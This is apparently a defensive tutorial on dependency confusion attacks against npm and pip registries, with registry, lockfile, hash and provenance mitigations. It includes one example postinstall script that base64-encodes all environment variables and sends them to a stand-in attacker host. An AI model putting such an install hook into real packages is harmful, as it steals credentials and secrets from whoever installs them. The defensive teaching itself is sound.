Dependency confusion (also called namespace confusion) was publicly described by security researcher Alex Birsan in 2021. He published packages with the same names as internal packages used by Apple, Microsoft, and PayPal to public registries, and their build systems fetched his public versions instead of the private originals. He earned over $130,000 in bug bounties. Three years later, real attackers are still using the same technique, and organisations are still getting hit.
The March 2026 npm security incident involved a targeted dependency confusion attack against several financial services firms using predictable internal package naming conventions. Understanding the mechanics helps you build the right defences.
How the Attack Works
Most package managers check the public registry by default, even if you have a private registry configured. The resolution order matters enormously.
For npm with a private registry configured in .npmrc:
registry=https://npm.your-company.com
If npm.your-company.com doesn’t explicitly deny public package fallback, npm falls back to registry.npmjs.org for packages not found in the private registry. An attacker who knows your internal package name (from a leaked package.json, job posting, or code in a public repo) can publish a malicious package to npm with a higher version number, and your build picks it up.
The attacker’s steps:
- Discover internal package name (e.g.,
@your-company/auth-utils) from a public source - Publish
@your-company/auth-utilsto npm with version9.9.9(your internal version is1.2.0) - Wait for a build to run
npm installand prefer the higher version from public npm - The malicious package executes a postinstall script, exfiltrating environment variables to a remote server
The exfiltration postinstall script (the real ones look like this):
{
"scripts": {
"postinstall": "node -e \"require('https').get('https://attacker.com/?' + Buffer.from(JSON.stringify(process.env)).toString('base64'));\""
}
}
This runs automatically when npm install pulls the package. No explicit import needed.
npm: Preventing Dependency Confusion
Option 1: Scope isolation with --prefer-offline and registry mapping
Lock scoped packages to your private registry:
# .npmrc
@your-company:registry=https://npm.your-company.com
//npm.your-company.com/:_authToken=${NPM_PRIVATE_TOKEN}
With this config, any package under @your-company/ resolves exclusively from your private registry - it won’t fall back to public npm even if the package exists there.
Option 2: npm audit against your scope
Add npm audit to CI and set it to fail on high severity:
- name: Install dependencies
run: npm ci
- name: Security audit
run: npm audit --audit-level=high
This won’t catch a novel malicious package (the package has no known CVE yet), but it catches known vulnerabilities in dependencies.
Option 3: Package provenance (npm 2023+)
npm now supports provenance attestations - packages published from GitHub Actions can include a signed statement of where they were built:
- name: Publish to npm
run: npm publish --provenance
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
Consumers can verify provenance:
npm audit signatures
Any package claiming to be yours that lacks your provenance signature is immediately suspicious.
Python/pip: Preventing Dependency Confusion
pip’s resolution is simpler but has similar risks when using --extra-index-url:
# Dangerous - pip checks PyPI first if package is missing from private index
pip install --extra-index-url https://pypi.your-company.com/simple/ your-internal-package
Safe alternative: --index-url (replaces, doesn’t supplement)
# Safe - only checks private index, won't fall back to PyPI
pip install --index-url https://pypi.your-company.com/simple/ your-internal-package
For private packages alongside PyPI packages in the same project:
# pyproject.toml (Poetry)
[[tool.poetry.source]]
name = "private"
url = "https://pypi.your-company.com/simple/"
priority = "primary"
[[tool.poetry.source]]
name = "PyPI"
priority = "supplemental"
This means: check private registry first, fall back to PyPI only for packages not found there. The opposite of the attack scenario.
pip-audit for dependency scanning:
- name: Audit Python dependencies
run: |
pip install pip-audit
pip-audit --require-hashes -r requirements.txt
--require-hashes pins each package to an exact hash. A dependency confusion attack substitutes a different package - different hash - and the install fails.
Detecting Internal Package Names in Public Repos
Before attackers find your internal package names, audit your public repositories:
# Search for package.json files with scoped internal packages
grep -r '"@your-company/' . --include="package.json" \
| grep -v node_modules \
| grep -v "node_modules"
# Check requirements.txt for private package indices
grep -r "your-company\|internal\|private" requirements*.txt
# Search GitHub for accidentally committed config files
gh search code "your-company/internal-package" --repo your-org
If you find internal package names in public repositories, assess whether attackers could have seen them - if the repo was public at any point, assume they did.
Naming Convention: Register Your Names Publicly
For internal packages at organisations that publish open source, the cleanest defence is to register your package names on public registries with empty or placeholder packages:
npm publish @your-company/auth-utils --dry-run
# If successful, publish an empty placeholder:
# package.json: { "name": "@your-company/auth-utils", "version": "0.0.1" }
This prevents an attacker from claiming the name. The placeholder package does nothing and won’t be installed by internal builds (which specify a version range that the real internal package satisfies).
CI/CD: Lock the Lockfile
The most underrated defence is simply committing lockfiles and verifying them in CI:
# npm
- run: npm ci # Uses package-lock.json exactly, fails if it doesn't match package.json
# pip
- run: pip install --require-hashes -r requirements.txt # Only installs exactly what's hashed
# Poetry
- run: poetry install --no-root --sync # Uses poetry.lock exactly
A dependency confusion attack works by substituting a package. If CI installs from a lockfile with exact hashes, an attacker’s package - with a different hash - will fail the install. The attack is blocked before any code runs.
Lockfile verification won’t help if the lockfile itself is compromised (supply chain attack on the lockfile generation step), but combined with scoped registry configuration and package provenance, it makes the attack chain significantly harder to execute.
The Summary
| Control | Complexity | Effectiveness |
|---|---|---|
| Scoped registry mapping | Low | High for scoped packages |
npm ci / pip --require-hashes | Low | High - blocks hash mismatch |
| Package provenance | Medium | High - detectable forgery |
| Register placeholder names | Low | High - prevents name squatting |
postinstall script blocking | Medium | Moderate - breaks some legitimate packages |
| Dependency scanning (Dependabot) | Low | Low-Medium - won’t catch novel packages |
No single control is sufficient. Lockfile + scoped registry + provenance is the practical baseline for most teams.